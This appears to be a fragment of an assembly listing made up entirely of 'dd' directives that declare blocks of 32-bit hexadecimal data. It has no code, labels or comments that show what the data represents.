dd 1FC275Ch, 0D6E9A6B0h, 906404FAh, 485312CAh, 9380055Fh
dd 102F83F8h, 6F0010EEh, 1C03F29h, 3DE34E7Bh, 0D481469Dh
dd 89C591FBh, 5F0C70BDh, 0BA771002h, 60B35680h, 2533C6Ch
dd 0B4935C54h, 5B608519h, 0DF012A7Bh, 86741444h, 0C420C188h
dd 76821F4Fh, 372C8047h, 5AE8F249h, 2DDD7F0Ah, 3BED053h
dd 0AAAE0868h, 0E045D3C4h, 0E3A97D5h, 857824DEh, 80840E27h
dd 59D7EF6Eh, 0BE4ACA00h, 4B65ACD1h, 7619121Dh, 146C8235h
dd 0D60D36C0h, 0A4226E00h, 0C2B4E57Fh, 0BC041DA3h, 85A6C106h
dd 6046BA2Ch, 0DBF4C8DCh, 1170984Ch, 0E00218A5h, 457AEC04h
dd 0A4000458h, 916420D9h, 4AB13A2h, 988856CDh, 3768D2C8h
dd 0F4D91FC0h, 0CB64E316h, 90FD0881h, 0C198F0h, 0E72CD22h
dd 0F0E36501h, 6B9E3300h, 20CCA0CBh, 8B7D2637h, 0C6C90964h
dd 834F1848h, 8F197C00h, 0D185379Ch, 499E1CB4h, 4844D894h
dd 1500CBF2h, 582B231Bh, 7B8C2DECh, 0AE7E001Fh, 3F0C8713h
dd 0E5006F28h, 96A5BA91h, 12816088h, 13539DAFh, 89A44085h
dd 662E27Ah, 970EB909h, 877C808Eh, 26B05FA4h, 40F0CF4Fh
dd 1C25FA72h, 5BA1A300h, 711AAD7Eh, 0F3DD010Ch, 3DA29FEBh
dd 0DB55F863h, 801D9E01h, 0C55AA691h, 0BB00303Dh, 254593C3h
dd 0DB284666h, 0C13A011h, 0F008E14h, 0A30205F8h, 4E1A00FBh
dd 0D9B496DFh, 7B18213Dh, 0E431CB52h, 991D2684h, 0E67C4090h
dd 2B011280h, 47C927A5h, 0AAECC208h, 0F3700FAh, 0DCA0C0A2h
dd 7B0E7103h, 4F40B65Eh, 281C7360h, 0FFA801BEh, 0F6959FF8h
dd 435FC4h, 0B6948321h, 0EE87AF07h, 0D1B84700h, 6DB3AC02h
dd 93241F22h, 7B4440A6h, 0B8E57E68h, 9BE8F89Ah, 141EB300h
dd 5EED65CDh, 10B1019Ah, 0E49386F2h, 97C6C68h, 0C874D9EFh
dd 0AAF8BCh, 0A251CF03h, 80CE0440h, 7CBBC501h, 694BCC6Dh
dd 0F645DCDCh, 2D567CCFh, 1400AE98h, 0BF0DB5BEh, 32AA9500h
dd 0E0872213h, 45C32D68h, 0F9DD2C10h, 0BC91360Bh, 0FF94C03Fh
dd 90E7082Fh, 1600449Ah, 8BB5F44Bh, 104C90A1h, 27882B45h
dd 0DE41803h, 0E080FF1Dh, 8EBC6ADAh, 8F260711h, 5828683Bh
dd 727474EFh, 188A4Ch, 0D97A2BBh, 9D6C23h, 32956BBCh, 0EE7B300Ah
dd 9464C700h, 0F479747Eh, 0A93C585Eh, 0A9884803h, 404C98F6h
dd 3F90009Ch, 0C3752924h, 436A0030h, 0F70DA448h, 76001B2Bh
dd 844227C9h, 7FC1AEh, 7222DAA0h, 50D96F1Dh, 0CC7AC801h
dd 0FCBFEC0Dh, 0E156F0h, 23D7AB37h, 16ADB564h, 0F07D3E30h
dd 79A6EF6h, 0B89E566h, 9C708014h, 93B8E684h, 0B8240E30h
dd 4BCD5Ah, 0CC4EC1F8h, 59876A56h, 6C08C550h, 0EA578100h
dd 200708D4h, 3951006Eh, 0E3B852EDh, 5400DABEh, 0AC89166Ah
dd 0D59F33h, 0B4FF9C37h, 0F312C144h, 8B025077h, 0ECF1EA97h
dd 0B349607Ch, 0D41E05AFh, 0D02A305Fh, 7D253AE8h, 2D6DA807h
dd 4A902621h
dd 1387CFh, 3D9DA45Fh, 172F4129h, 2BD07300h, 55F9A550h
dd 15B200F0h, 26D1761Eh, 0AB017C6Ah, 0E05BD6A2h, 0A02FEA98h
dd 83012EB4h, 61828117h, 60DA9C71h, 1277AEB8h, 0B8F251h
dd 0FA498741h, 0AA093BE3h, 0C1E78CACh, 6BC80110h, 887291h
dd 4063BA26h, 0C4ECE42h, 4607D600h, 608973EFh, 4B040718h
dd 0E0176916h, 0F6679E75h, 50AC0600h, 80F7E079h, 5B77011Bh
dd 0E73E41D7h, 5C10807Fh, 1DE146D6h, 1C76003Bh, 0C1DDD512h
dd 30003C0Dh, 0C6509444h, 0FC655AD0h, 0D8C80036h, 7A599F9Bh
dd 52460B5h, 480DC32h, 69B9C766h, 834B12AFh, 40B05FB4h
dd 0CEE11C86h, 0BD016057h, 1A977410h, 81D453C2h, 957107E5h
dd 5059F01Ch, 908539B8h, 5F9C1800h, 878FB26Fh, 80B60092h
dd 50A5FD6Dh, 7A58FC12h, 410500D0h, 0A4B38171h, 83F825A1h
dd 5CFD0081h, 0ADD01751h, 1DCB3067h, 63C643Eh, 2849894Ah
dd 0ACC88807h, 71800735h, 7B61AFCEh, 4852006Eh, 2BEEF3FBh
dd 511FF7A3h, 5800BA1h, 66E5A046h, 369024CDh, 0CBEB8AF0h
dd 70CE0228h, 36010AD6h, 0FDF838E1h, 4C9F30F5h, 5942291h
dd 0CDE87F00h, 0CF6E19C9h, 58895007h, 3560C07Ch, 0AE83F6D9h
dd 0C2FC8001h, 5A62CF4Ch, 381AECh, 497C828Bh, 34063367h
dd 9683B000h, 0E32302A9h, 0EFF40726h, 70367D44h, 18DD3BFBh
dd 0F37AEB00h, 411BD212h, 747A4Eh, 0CFBB461Dh, 38677310h
dd 0B88CF002h, 607E32E6h, 3B1F7Dh, 0B5DA3371h, 0F462D5DEh
dd 0CC0E25E4h, 153F43h, 7784CD82h, 45120092h, 36A1EAB1h
dd 0BD704339h, 8B390A8h, 470C4A74h, 0E924A572h, 31382ADDh
dd 480509D8h, 0E060FFAAh, 60005AB5h, 0F3DE7489h, 3B690h
dd 55D40D0h, 0E52595E3h, 0DD07C80Fh, 11DE80D5h, 0D189A2h
dd 0C11942B6h, 7BA51B3h, 290C5300h, 0A123B5EEh, 145E5330h
dd 0E0881B80h, 0F011CB9Eh, 4BA02806h, 7D0097D8h, 0F59ED33Dh
dd 34FC903h, 0EECE0DE6h, 0B7985AFEh, 0A87C9344h, 634A5523h
dd 70382D07h, 7441A9EFh, 280938C0h, 0FECB003Bh, 0D0C9C3C7h
dd 0E07593EDh, 0E71583Dh, 0A42B4E9h, 0C05B349Ch, 2D0AB25h
dd 0FF62C7F7h, 2098ECEFh, 0D80AD34Ch, 44EAE4B7h, 70ECC072h
dd 4AA52ABFh, 0CC0200E0h, 7BEA143Ah, 8138AC41h, 9E2A0077h
dd 0AA35586Dh, 0B009231h, 7F5A838Ah, 0C86CBD00h, 0AC909B67h
dd 0DCBE2900h, 25D96A21h, 8059DE22h, 0BB23E9C9h, 0C001EE95h
dd 5807E220h, 12F032EDh, 0C59B03A3h, 2EE3FE06h, 390050ABh
dd 32C72D2Fh, 0DE93A3h, 0C37DB49Bh, 853FAAB6h, 39309C06h
dd 28697BAFh, 6449AEh, 0F8470A65h, 0DFA6A808h, 79D38512h
dd 0E5EC40A0h, 570570h, 180DA8Ch, 0BA3B8A61h, 0F0445209h
dd 0DE007535h, 0AE250FBh, 2E04A9B0h, 32332FA2h, 9DD044C1h
dd 5030D4D9h, 1FA009D6h, 4600AE21h, 7BFD1470h, 0C2282FE8h
dd 4C7CB0A3h, 273E4F07h, 0D2E5D759h, 0C1CA00ABh, 58B37EC6h
dd 7FFF451Fh, 0FC1F1D17h, 57FD6501h, 0DCD0539Bh, 1A3F00C3h
dd 0B1C76DA6h, 0C033CF48h, 37808B9h, 0A6218021h, 0FE830DEh
dd 17A1BFAh, 0F5DDD20Bh, 7F9D0313h, 0FF44E0BFh, 3E6500ACh
dd 81C322FDh, 0DFE8E64Ch, 693CFE00h, 7F801415h, 67F90E32h
dd 0EF8C348Eh, 11012621h, 2CB81B15h, 9BE47FB5h, 0FF81C048h
dd 533740BEh, 6CE6511Ch, 38DD288Dh, 39D8AB21h, 4B51211h
dd 1B4700B7h, 2CC19647h, 1218EE7Ch, 0DF49D253h, 3C33011Dh
dd 4A182ED3h, 710C4052h, 6F7CB1CFh, 0A1C4E706h, 120DEF5h
dd 0E124A07Dh, 0B2C0C3AFh, 30ADD8E0h, 2810156Dh, 2AE31F80h
dd 0CEC10FFh, 3A01D7B9h, 0AEC71F70h, 0CC414ABBh, 3CBE639h
dd 8B617D89h, 5E01060h, 0B50ECA1Ch, 0B887A3F2h, 4052C198h
dd 0A87978DFh, 0FE8E400h, 0E1A4EFB0h, 9EA1079Bh, 2410A7h
dd 0BD0766C5h, 4D5D7112h, 1EDDF800h, 506F43h, 0EF41E052h
dd 4C9E2289h, 3CF56C00h, 1667E181h, 0B47464h, 35793F42h
dd 48EDDD3Eh, 0A93855FEh, 0C3B80045h, 0D104BE2Eh, 2FC0033h
dd 69BA73C7h, 75E26E94h, 9CF9A80Fh, 9308E0F4h, 46C84Fh
dd 0C7FD3832h, 0CE40D558h, 52921500h, 0E1A85C98h, 0F5CB0028h
dd 0F2B7B584h, 11398EEBh, 24C500FCh, 0AA22D5D6h, 6E7E0026h
dd 40394285h, 9AFEF799h, 53A52900h, 0BD44DB90h, 86C81F95h
dd 0EC4900C9h, 9EFB2739h, 0F0FCBA7Ch, 130C41FDh, 8C9C0846h
dd 0E821F642h, 44F99788h, 25844594h, 4F186986h, 6047FC9Bh
dd 0C55EF718h, 19A0C048h, 2F3403B9h, 3E6B6A18h, 24605421h
dd 6908E31h, 18C7C1BDh, 0A186821Dh, 3B573931h, 3C5CD2F8h
dd 3401C450h, 6A42BB93h, 0E0D3F43Ah, 99F88319h, 0A02BA430h
dd 8A1EB20h, 0D384E08Ch, 0E13C71C0h, 3CD2C147h, 9806E527h
dd 0C99DBCA5h, 7C430608h, 4AE20A20h, 23AE80ACh, 0C7DCE6E7h
dd 0A11F510Bh, 3F2303B1h, 55C684F7h, 0A8E90029h, 8D5BBC86h
dd 0C41DA59Ch, 5A1B9BCEh, 8750F021h, 0CB801EEAh, 9CE7410Dh
dd 11E1334Dh, 0CE87159Fh, 2F9DE3F0h, 0A741E4A3h, 0C51D90BEh
dd 0F4C01C5Bh, 0CF3F05F7h, 0EB0F0076h, 95850693h, 16F8F8A5h
dd 0C0B8BC51h, 0C4006FF6h, 5F4B969Dh, 15F8267Bh, 0AC93E992h
dd 3F229A00h, 80701E30h, 4B97100Eh, 32774608h, 48C01F70h
dd 31A85852h, 44008BFAh, 0E335202Eh, 0CC7D1BBCh, 5B219708h
dd 0D3443402h, 0A399BBEEh, 0F84C89A8h, 3F98Dh, 0ACC12BC6h
dd 0F25501A3h, 619653Fh, 49C1798h, 40C41CC8h, 8C33473Ah
dd 15AEB0DFh, 0D8C02BA7h, 3EBCDA55h, 22B91CADh, 6429C051h
dd 5F09F639h, 1D731700h, 0EAE54BB2h, 72F0A0h, 2E9BAA76h
dd 0E1D53F71h, 0D7837700h, 0C598B569h, 16D900CCh, 683CDE49h
dd 0ED0E94C6h, 0A17BF2B8h, 93DBCBBDh, 36AC044Fh, 10D2D830h
dd 7CF34D40h, 0AB730092h, 122DD326h, 0E200C63Dh, 5F33EAE6h
dd 140A0E5h, 0B26FE83Bh, 88211A73h, 4C8D929h, 0C50FB474h
dd 67568082h, 0B7720CA4h, 3E00FD7Eh, 0F913451Ch, 1DD21EF2h
dd 818B2188h, 0AF02969Bh, 73EE20B4h, 4B5DB707h, 0AE601832h
dd 0F063545Ah, 0BF47070Ch, 27EBAB52h, 0BEC650CEh, 0CC1F55EDh
dd 0A4809266h, 0F22BDF44h, 0E5BE622h, 3C721696h, 7860F560h
dd 19059AB6h, 0F15D65Ah, 9D4B00FEh, 0ACFE1D0Dh, 1ACA2406h
dd 389543h, 2C4E398Ah, 0F1D049A7h, 0AC50053Ch, 0CA1C0436h
dd 47837D00h, 5402B3h, 74FC4855h, 3C636EB2h, 49240FF2h
dd 0CA00B95Ch, 30DFF996h, 0B275002Eh, 52FB1E7Bh, 68C07D48h
dd 0FD850CBh, 5AE300B7h, 0C4721BCFh, 0DA007385h, 11D36D8Eh
dd 0ECB61Ch, 4A616ECBh, 408DFC0Ah, 3209700h, 78926FE5h
dd 544400F0h, 7E32EFF1h, 5200CA16h, 0E7797288h, 1C4B6A02h
dd 0C0A7B5E9h, 27A666BBh, 1028C08Eh, 0DF1889EBh, 0A31090DAh
dd 74FB00E5h, 738DF02Ch, 873B71F2h, 8B80969Ch, 4D894900h
dd 0C16D28h, 35AE6117h, 2999C967h, 1B56EC00h, 54E45F25h
dd 6A09093Bh, 0AE008EC7h, 0C27414FAh, 383C3049h, 0D7D000DAh
dd 0A3ADA23Dh, 0A9650040h, 0E0F1FFE5h, 7907A61Dh, 903516ACh
dd 80BE56A0h, 0AF4400EDh, 0F173709Eh, 3100DACFh, 55C3E777h
dd 6F25C7h, 1EA7D98Ch, 344CCC5Fh, 11972A01h, 0BCFFE0BDh
dd 60FD789Ch, 8018A738h, 3527A451h, 303154DEh, 4DA2CB5h
dd 0B43DDF2Ah, 291B8072h, 20C40623h, 0A47C00D9h, 0D608ECBBh
dd 0DE00EAB5h, 0C0610F98h
dd 98DF8E9Eh, 0CFD10073h, 39D92A10h, 80F926A0h, 4920C010h
dd 0E53CA5h, 6C77F5F3h, 0A0AA12D6h, 3D070300h, 66465860h
dd 5FC50C84h, 1EB0CB9Eh, 0F9D2FE00h, 0C8EE0F6Fh, 396000FCh
dd 7ABA318h, 691D4D5Fh, 8B806AC6h, 7E928004h, 0B99D005Dh
dd 0C230EDCBh, 0CD002E98h, 0BE8F2093h, 3299CEFh, 5F56571Ah
dd 71E02BFEh, 0EA009FDDh, 1087EB2Ah, 370CD50h, 0D0553DA5h
dd 68000BABh, 7F4E3E3Ah, 7C192Ch, 81CE9DC8h, 0AAEAAB51h
dd 9E976500h, 13C9BC85h, 7AE40CBBh, 4E2184B0h, 3D9D8D00h
dd 1EFCEB22h, 0DFE40090h, 0CB8EF2A7h, 0DD002998h, 2694F17Ah
dd 5F3855h, 63D3D4E1h, 1646EAC3h, 173D39h, 2627191Bh, 727EB6BFh
dd 0CDB26B4h, 51349868h, 7B01131Dh, 9AC4D833h, 0E0CE9094h
dd 26AA01E5h, 800C6339h, 645F18EAh, 0F1F2DF52h, 45D76A00h
dd 244AED1Fh, 62E640h, 0AEFC2B4h, 895B9DF7h, 188103Ah
dd 21FD71A2h, 48EB8753h, 5A0048E0h, 0BB889594h, 0C41A12C0h
dd 0F799B5A6h, 9C1C7B41h, 0BBC0A779h, 0E747EF9h, 3C5249FDh
dd 1E0ACE83h, 928B05E8h, 55C0FE0Eh, 0DFFAE065h, 5199F57h
dd 84EF40D7h, 13BFC0D5h, 74E88292h, 9448FC7Dh, 0CC508094h
dd 0D49BB5h, 217CDF37h, 4F6F0A66h, 0D2FDB700h, 7F08A8A1h
dd 0F578C02Bh, 769A9205h, 89685A00h, 0D0972F44h, 0CF5103DAh
dd 4D5E86ACh, 0E11E0DD0h, 45E6BC00h, 7E8B814Fh, 0B0F35441h
dd 841B0208h, 0C01F8A0Fh, 87E0086Bh, 3F3D6FFDh, 0DB3A0375h
dd 48AF770h, 0CE6D7C66h, 0AE08D15Bh, 79500801h, 6B19013Bh
dd 0E85CEDB4h, 30A88A29h, 0E6008E0Ah, 7170C7DDh, 0BE522842h
dd 0E05700D0h, 0EEA44010h, 4E073F8h, 0B74D9802h, 0C0E783EBh
dd 13F99A6Ch, 7529E9h, 0F049ED90h, 4F000214h, 0C4F6778Fh
dd 91260A6Ah, 920F024Ch, 0DC805AF4h, 497C2DE0h, 661840B2h
dd 9DF9E6E1h, 0A7D721Eh, 36B441F1h, 0EE1A01B8h, 872A5134h
dd 16887EB8h, 13554990h, 0C2CF0089h, 9172A21Dh, 360E0EE8h
dd 8086114Eh, 0F644E1E7h, 0D2733BEEh, 5D3AC8BEh, 0EFAA2285h
dd 3CDC9093h, 28EE9FC0h, 2C4D1A24h, 48F8409Fh, 0BC5060Ah
dd 3C886CE2h, 0F180D751h, 8E25B2CCh, 8D00AA39h, 9CBA06E4h
dd 424C556h, 0E0ABD742h, 39F0D87Bh, 0C0DB4900h, 9660BB61h
dd 18D89888h, 0F997BA12h, 240F9982h, 32E98F3Ah, 0D80E840Ah
dd 54104C00h, 92CFEF20h, 3488006Ch, 981B4A5Fh, 0F6031C05h
dd 77DB5D4h, 0EED014DDh, 24B01856h, 0E600E953h, 7CD4E1Ah
dd 7E70FB2Ch, 0A1BE0A64h, 80B8F8E7h, 1E04224Dh, 1C060880h
dd 0E9DD8248h, 7BC05A9h, 156AA2Ah, 700B5894h, 0AE60CE74h
dd 3500915Fh, 6F49C65Dh, 924F9506h, 0FE671D48h, 23F2C0D0h
dd 0C548E8EDh, 523DC616h, 0E40C1439h, 0F94B2B7h, 59E1BAC2h
dd 69AE0940h, 0F33BA18Dh, 75128083h, 314D1F32h, 3A047A60h
dd 3F800A2Dh, 0B4B80E4Bh, 1B00C5CAh, 499F756Dh, 0E7E28Eh
dd 0BA10E453h, 0B0E6968Ah, 7418981Fh, 416D2000h, 3B4FADAh
dd 0D6D92502h, 0A4D0C9E0h, 190058A9h, 0C64A9F8Ah, 0FE44BC2h
dd 6CB16A80h, 0C0A23905h, 0EEF3398h, 0B5277E07h, 0C06FF78Bh
dd 864A4B98h, 0C4C00FFCh, 1C008AD7h, 463A8812h, 0CFA7BC05h
dd 0E0402A62h, 0CDA9040h, 0DC544896h, 6D84157Fh, 0D300C08Fh
dd 0BD267172h, 0C400FFFBh, 3E929748h, 0AF252F3h, 9C08EE03h
dd 4160058Ch, 0F5D3C276h, 0C056ECA5h, 14936A5Bh, 6E4DD31Fh
dd 8792E345h, 85A090C7h, 9004BAh, 0C6E8CCAFh, 0A5F50A7Bh
dd 0E9158A1Eh, 15B4B00h, 48FC99h, 0DAE77E38h, 0B2CDF41Ch
dd 6C71F52Ch, 2149830Eh, 0D3BCB9CBh, 0C4BDD8h, 0A54F063Dh
dd 306586CDh, 0D2E9E9C0h, 1C22879Fh, 258E0B3h, 0E1D768DBh
dd 99F6DE00h, 2DF00003h, 0BE5FFF41h, 0D77BC42h, 3E40DC64h
dd 40B9DC8Ch, 2700345Ah, 2B56EACCh, 1352414Fh, 4089A6F4h
dd 0E80C23DCh, 34968AD1h, 7B801001h, 0B822F7EAh, 0B8D0F939h
dd 5C3C90B6h, 48009043h, 678DC525h, 45205749h, 61271DA8h
dd 0FEB401Eh, 0DD87A7Eh, 0EFB5D50Ch, 9190A1DBh, 2D7462C4h
dd 0DA85AC60h, 32C9E9C1h, 0C026FA31h, 7A892081h, 538F051h
dd 0BA4BB100h, 4F5E0F76h, 0C4F85DF1h, 0A48E2Ch, 3505B708h
dd 0E780DA0h, 58D05600h, 0A560E514h, 617A60B0h, 0EB10F1DCh
dd 0C931563Fh, 0E127052Ch, 8051B2h, 0EA5BBB1h, 2A08AB1Dh
dd 5FA1FC3h, 9608C8FDh, 39DDF9FAh, 0D7BA14C1h, 4C288DBEh
dd 0B4406788h, 0C00771h, 0F587C648h, 7901155Fh, 3D85950h
dd 70253226h, 5AAEB500h, 0F8083153h, 2FE60CA1h, 6D8464Ch
dd 0E06FB10Ch, 2CF7CA97h, 0FC9EF2h, 0BD4A09A4h, 0A100B750h
dd 89B30471h, 5D95C106h, 812E18C2h, 0ACA1608Ch, 0B00FE33h
dd 60B4D286h, 0CA09920h, 353C2784h, 0C4AEA288h, 11DCDE0Ch
dd 3B1064h, 16F5D998h, 99F0BC51h, 5E8E7017h, 0F4C0F201h
dd 0E2C47137h, 0C1692E1Ch, 0A1EE045Ch, 0E0CB72h, 64C55DB3h
dd 0F65FB0h, 0E7BBE81Eh, 0D3BFD511h, 34912814h, 1F8C0790h
dd 6A40F8F9h, 2728E9Ah, 0E2E33C49h, 0D0800638h, 78D96B35h
dd 5B00C89Ah, 2FAF13CAh, 16C407EEh, 409476B8h, 0A93A5CF8h
dd 471EB361h, 0AA8180CEh, 1618423Fh, 5CE003FFh, 0BE75EE53h
dd 95ABCBB0h, 0F67A8E00h, 68A6BCB4h, 0C9EA00FCh, 0B7DD7678h
dd 0AC92C7F8h, 2A005475h, 457F861Ah, 0B83CC94h, 0AB019D1h
dd 0C792A825h, 80ACDA87h, 2E99A7E1h, 3DF8B2D6h, 0A2810B60h
dd 0DE4A8Ch, 0ADC8FDEAh, 9FA94616h, 4D753E0Eh, 0B2638006h
dd 0F1AB69EEh, 540E4024h, 695ACA1h, 0ACAC6F9h, 63E9947h
dd 97CB89DEh, 6F10A3EBh, 50391D38h, 0EE30A078h, 973C30CCh
dd 49E7003Fh, 0A3ECC0D5h, 393A01C5h, 428B00B6h, 5EF64DF5h
dd 0AFD013FBh, 8D800037h, 26EA9770h, 0B48549h, 1F2C0B32h
dd 0DDC62Dh, 0A7C5941Bh, 0C7D49763h, 4C90717Bh, 0B3A51100h
dd 7F360BD7h, 67D0008Bh, 4352A05Bh, 217B9062h, 8A05A603h
dd 0B0AB3C86h, 41AFD6h, 0AEFD7DDEh, 1A8CD799h, 0FB0705E6h
dd 1C3B6AD8h, 4504BB0h, 2A0100D1h, 3A5FEE17h, 0C4030E4Fh
dd 0F0E226E4h, 8A2FA794h, 2E00B0BBh, 4373599Dh, 0E1393D13h
dd 0BC908E00h, 98BBA84Bh, 0E900009Ah, 0B66CAF44h, 0A0DED984h
dd 0C109B3h, 0C3DB69C9h, 0C52E3D78h, 6CFE1000h, 0F9571AA6h
dd 6E9600A9h, 5F4FC6E4h, 0F104A8BCh, 42316DBFh, 18D447C0h
dd 60FE23h, 40070A16h, 0E78AE81h, 8735A000h, 2DF5D625h
dd 5C0D0064h, 72CACC76h, 0EC00CD1Eh, 0EA8FC656h, 105948h
dd 0C8465D19h, 1AD31899h, 4CC9BB00h, 0F4840FD8h, 29A80108h
dd 218068F1h, 0B8CDC8FBh, 0CF029804h, 8022A7h, 7AAB648h
dd 0D264BDA9h, 5461306Fh, 420F1BA8h, 87624413h, 4B204023h
dd 2AB09D9h, 3763D3C1h, 5CE05036h, 27017961h, 0F675A2DCh
dd 0E8DCC8BBh, 4BA600EDh, 87C28D6Ah, 0C500E399h, 0C923DED5h
dd 17FFD7Eh, 4A43D9ECh, 0CC4CA147h, 0F30381F1h, 14D5CB3Ch
dd 9309A891h, 0F6C10117h, 7AC696F4h, 5F0BD032h, 58F558h
dd 785A3876h, 0F13E4Ch, 2EB7FFA1h, 52F7029Ch, 0FC042700h
dd 0B5636B89h, 751D007Ch, 0BFE784F3h, 3607B79Dh, 9B2DB47Ah
dd 205BA590h, 0D50E0BB6h, 8B8138C5h, 64223F52h, 11032C98h
dd 0FF9BC7Ch, 0C9E3C057h, 33145896h, 48803C3Eh, 4A569482h
dd 8AE2CA0Fh
dd 9217A778h, 700AE21h, 0ED7F7063h, 0CCDD0050h, 0D857B956h
dd 0FB0910CFh, 0C0D2C819h, 49BEA4FCh, 1F01D489h, 0E12410FDh
dd 755474F3h, 0D5BB8600h, 0E4B74A71h, 0C0CF070Bh, 61B8FC19h
dd 0CC3CD24Bh, 0A600F267h, 0C4BA638Bh, 77BFD9Dh, 944DEA57h
dd 12B305Ch, 0A9033829h, 0B4B2EBA2h, 249283FFh, 0A480E8h
dd 0B5E73EE0h, 4300888Ah, 3B8698E8h, 78E5FC0h, 0CE3AE696h
dd 0FDBB608Bh, 0C500689Fh, 8F655A78h, 1D39513h, 0AE5954C4h
dd 0CF7536BAh, 0F657E804h, 1B41D1B9h, 0F0ACD786h, 3000C065h
dd 0B59DAA41h, 0FFBA75Bh, 9ABD1188h, 3D946B80h, 2C033F7Ch
dd 4B427108h, 3AC5C0EEh, 0AED0BF77h, 0FAE4BC00h, 34EFD3DFh
dd 0A05F059Dh, 819308E2h, 0C054561Ah, 48C17077h, 99E735Eh
dd 0DF41DCh, 0C88E63C6h, 1B9B4411h, 0AD064000h, 1B2B70Ch
dd 46FC0E5Bh, 3E60CC43h, 3A7F6732h, 2514971Ch, 0E4C2DE40h
dd 16019C17h, 0D67A38h, 6434C75Fh, 3A710714h, 35074E76h
dd 7AEF7645h, 0AD10E9C1h, 9F750E8h, 71AC3E8Eh, 0B72EDC00h
dd 0A25C6E2Ch, 0B8EA007Dh, 0FF900DAAh, 9A70059h, 209C2754h
dd 4F0B52CAh, 631607CDh, 0D3F198BCh, 1FA12C7Eh, 11E38038h
dd 23015DB2h, 5A048272h, 24287841h, 565BB8C7h, 51560714h
dd 666C908Fh, 1C281372h, 8B2E080Fh, 0C824BCBAh, 0B6257900h
dd 251CFA54h, 60002886h, 0EAA6124Ah, 1E904000h, 395A0881h
dd 3CCA5C61h, 9138E001h, 0BC11E8B5h, 8FD00030h, 552BF004h
dd 0F790ACh, 7CCBD62Ch, 8936CC4Eh, 48902E05h, 96815EFEh
dd 284859F7h, 26913C08h, 0C530F601h, 50DEA2B5h, 0FE65C80h
dd 5504BC07h, 3E8392C8h, 0E01100E5h, 791E502Fh, 0CC054BF6h
dd 0A89E5149h, 2AC5D0D7h, 42966800h, 74EEA901h, 4AA7003Fh
dd 4B40A89Bh, 0B2019C2Fh, 0DC5EC3D0h, 1CF0DE42h, 6C9A1847h
dd 0AC72A174h, 633A7300h, 1819E289h, 6A763DA9h, 0A90BF498h
dd 0D97BB949h, 0E0350A00h, 2169FA39h, 0E3EE30A6h, 4A1422C6h
dd 0A1D1B11Eh, 709A4C03h, 32A8010Eh, 0C87564F3h, 7A2DF0C5h
dd 4DE53Eh, 0A59C47C1h, 0C7DE3Bh, 2F9AD45Ch, 0F2724C03h
dd 0B9CFE31Dh, 3DE81483h, 48A5980Ch, 53601D91h, 9B154A2Ah
dd 1A178284h, 34403AF6h, 9E057458h, 94D9E746h, 90434184h
dd 0F0455D4Dh, 5E2978h, 22141230h, 63E6E37Dh, 705AC1F1h
dd 640E01A5h, 98708546h, 1CE5310h, 9AE1D50Bh, 8CF9CCA9h
dd 20664B09h, 3E0BFCB3h, 0BE8C4C65h, 0FC39602Fh, 1A341001h
dd 173E846Ah, 304138C0h, 0EBA842F2h, 0B8005CD1h, 0FBFF4EE3h
dd 0D127382h, 59BCA617h, 33C4E040h, 0F3E83600h, 0DD7F7162h
dd 8F08CC3Bh, 3A009B21h, 9E0F5936h, 189594AEh, 8074CF50h
dd 0D30012F8h, 7F4713F0h, 0F8737B81h, 1C577F55h, 0F0292E2h
dd 1340F4BFh, 2CAF36FAh, 85050404h, 0F0005D78h, 0BFA3E8CDh
dd 64A05103h, 0D069D112h, 3F31CE99h, 3C02FEE4h, 0F4977395h
dd 0C0CD3C85h, 85F253C1h, 0DB7D5901h, 0D2314D73h, 0B9948BE5h
dd 9060C395h, 0B29BB767h, 0F9F77B00h, 97A655ABh, 5287155Ah
dd 952FA47Eh, 75C20C0h, 57853718h, 0F6872B19h, 9D1800CBh
dd 0BC7AD0A6h, 59006E5Eh, 0C31F7688h, 0D711EDh, 0BDDD8FA4h
dd 51861999h, 6218D0A4h, 0E9897EDEh, 0CAC1C0A4h, 60E319A8h
dd 4F31D600h, 6323F8AFh, 7DA90C6Dh, 763077C9h, 0A33FBE07h
dd 5A21C150h, 8951191h, 0D800B47Ah, 36C63FAAh, 6061F9D2h
dd 4620DDF9h, 309CA4E4h, 10891C30h, 2E035EFDh, 0D89E4DCAh
dd 0F385EB8Eh, 0A139E6F4h, 0ED19BC0Ch, 75C56B36h, 20900C62h
dd 0C63634F1h, 4E75D00h, 0D5721441h, 0CE953145h, 600E9EC1h
dd 0E7F248E8h, 8E018100h, 0DC6726B7h, 2CC7FA36h, 0CB1169h
dd 2B20C4Eh, 5D091840h, 21798CBDh, 951D6610h, 36E6C4h
dd 0E07F50C3h, 720EEF04h, 19DC893Ch, 64901845h, 74E7E520h
dd 31303766h, 857C541h, 0F8CBA8ACh, 0A9502B72h, 208011ACh
dd 69CF00D1h, 0C4194B15h, 95189944h, 16207643h, 85E703AFh
dd 66F8D239h, 0C4066928h, 0B0885BF8h, 31856F38h, 0B1AE2C00h
dd 0B912B803h, 804067E9h, 0E7CAC45Ch, 73F20334h, 30870B2Ah
dd 9E8BABBh, 9F0EF605h, 40579606h, 63A3FBE7h, 6461CE31h
dd 0CB3AD8A4h, 65A8C424h, 4E1DEF30h, 53D81900h, 63B869E7h
dd 54AE49DEh, 4CFA870Ch, 8D6080D9h, 0DD9B1A71h, 18831686h
dd 0C1F80007h, 53375223h, 1E76A998h, 0F363CD15h, 0FE0F7B50h
dd 6834DB6h, 1F6018A7h, 4302FDE9h, 9EDB7C64h, 0F405ED90h
dd 0F0919573h, 13E47000h, 3B737C11h, 52864DFDh, 0F0DA75C1h
dd 0A5023B46h, 0A2E1BE0Ah, 21BE6E31h, 470B17FAh, 347103ADh
dd 481F940Eh, 0D081DDDBh, 0AF825E65h, 66EE788Ah, 2F8180CCh
dd 12E343EDh, 6BA05000h, 0C2537C5Eh, 889324E5h, 0D5958014h
dd 3D26F23Fh, 4800247Ah, 2B22E8FCh, 50BFE485h, 245F8064h
dd 49047E81h, 41824C06h, 9AC44F05h, 0AFE0D4AEh, 7433040Bh
dd 0AB98E06Eh, 3E4C9903h, 94B03868h, 0FD503Ah, 99D837CDh
dd 67902C65h, 0FD649AC4h, 0FF300C8h, 6163DC2Dh, 6774B180h
dd 0FB3C982Ch, 3950018Ah, 0D0FFCC80h, 2494E8h, 7A5764ECh
dd 9907475Bh, 0A60025FCh, 3316265h, 0D3DE73h, 6C2D2985h
dd 0CA05C6D8h, 20432700h, 0B03E6D76h, 4C4FE224h, 7A119Ah
dd 0D0B65712h, 0F3849083h, 3C445000h, 0C8A9CFD4h, 0BE5D0687h
dd 2817E0C6h, 0A233CA00h, 88111E6Fh, 9ED41FBFh, 93A50075h
